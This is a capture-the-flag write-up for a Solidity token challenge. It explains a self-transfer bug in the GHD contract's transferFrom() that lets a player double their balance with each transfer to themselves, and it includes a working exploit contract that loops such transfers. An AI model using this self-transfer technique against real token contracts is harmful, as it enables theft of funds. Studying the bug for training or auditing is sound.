---
description: self transfer double spend
---

# 1. Greyhats Dollar

## Codebase walkthrough

**Setup Contract**

The Setup.sol contract initializes the challenge environment:

* Deploys a GREY token (simple ERC20 with minting capabilities)
* Deploys the GHD contract with GREY as the underlying asset and a 3% annual deflation rate
* Provides a claim() function to give players 1000 GREY tokens
* The goal is to accumulate 50,000 GHD tokens to solve the challenge

**GHD Token Mechanics**

The GHD contract implements a share-based token system with deflation:

* Users can mint GHD by depositing GREY tokens
* The token uses an internal shares system where actual token balances are calculated based on shares multiplied by a conversion rate
* The conversion rate decreases over time to simulate deflation
* All operations (mint, burn, transfer) use an update modifier that recalculates the conversion rate

## Bug description

The vulnerability lies in the `transferFrom()` function's validation logic. Let's examine the problematic code:

```solidity
    function transfer(address to, uint256 amount) external update returns (bool) {
        return transferFrom(msg.sender, to, amount);
    }
    
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public update returns (bool) {
        if (from != msg.sender) allowance[from][msg.sender] -= amount;

        uint256 _shares = _GHDToShares(amount, conversionRate, false);
        uint256 fromShares = shares[from] - _shares;
        uint256 toShares = shares[to] + _shares;
        
        require(
            _sharesToGHD(fromShares, conversionRate, false) < balanceOf(from),
            "amount too small"
        );
        require(
            _sharesToGHD(toShares, conversionRate, false) > balanceOf(to),
            "amount too small"
        );

        shares[from] = fromShares;
        shares[to] = toShares;

        emit Transfer(from, to, amount);

        return true;
    }
```

This pattern caught my eye:

```solidity
        shares[from] = fromShares;
        shares[to] = toShares;
```

Upon seeing this, I would immediately check the classic “transfer token to yourself” bug:

* Say from == to == you
* `uint256 fromShares = shares[from] - _shares` → `uint256 fromShares = shares[you] - _shares`
* `uint256 toShares = shares[to] + _shares` → `uint256 toShares = shares[you] + _shares`
* `shares[from] = fromShares` → `shares[you] = fromShares`
* `shares[to] = toShares` → `shares[you] = toShares`

In the last step, you see that `shares[you]` is being overwritten by a larger number, equivalently it means you get money for free.

Next question is how much money you can get for free by calling `transfer()` once. It is easy: to make sure that `uint256 fromShares = shares[you] - _shares` does not revert, you must have `shares[you] - _shares >= 0` ⇒ `shares[you] >= _shares` ⇒ `_shares <= shares[you]`. Therefore the best choice is to transfer `balanceOf(player)` in each call to `transfer()`, and repeat many times. Since `balanceOf(player)` doubles for each iteration, this attack will finish quickly.

### **Exploitation Strategy**

The attack is straightforward:

1. **Initial Setup**: Claim 1000 GREY tokens and mint 1000 GHD tokens
2. **Double Balance**: Transfer your entire GHD balance to yourself
3. **Repeat**: Your balance approximately doubles with each iteration
4. **Reach Target**: Continue until you have ≥50,000 GHD

The exponential growth means this happens very quickly:

* Start: 1,000 GHD
* After 1 transfer: \~2,000 GHD
* After 2 transfers: \~4,000 GHD
* After 3 transfers: \~8,000 GHD
* After 4 transfers: \~16,000 GHD
* After 5 transfers: \~32,000 GHD
* After 6 transfers: \~64,000 GHD ✓

## PoC

Claim 1000e18 grey token from Setup.sol, call `transfer()` in a for loop or while loop.

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.15;

import { Setup } from "src/greyhats-dollar/Setup.sol";

contract Exploit {
    Setup setup;

    constructor(Setup _setup) {
        setup = _setup;
    }

    function solve() external {
        // Claim 1000 GREY
        setup.claim();

        // Mint 1000 GHD using 1000 GREY
        setup.grey().approve(address(setup.ghd()), 1000e18);
        setup.ghd().mint(1000e18);

        // Transfer GHD to ourselves until we have 50,000 GHD
        uint256 balance = setup.ghd().balanceOf(address(this));
        while (balance < 50_000e18) {
            setup.ghd().transfer(address(this), balance);
            balance = setup.ghd().balanceOf(address(this));
        }

        // Transfer all GHD to msg.sender
        setup.ghd().transfer(msg.sender, balance);
    }
}
```
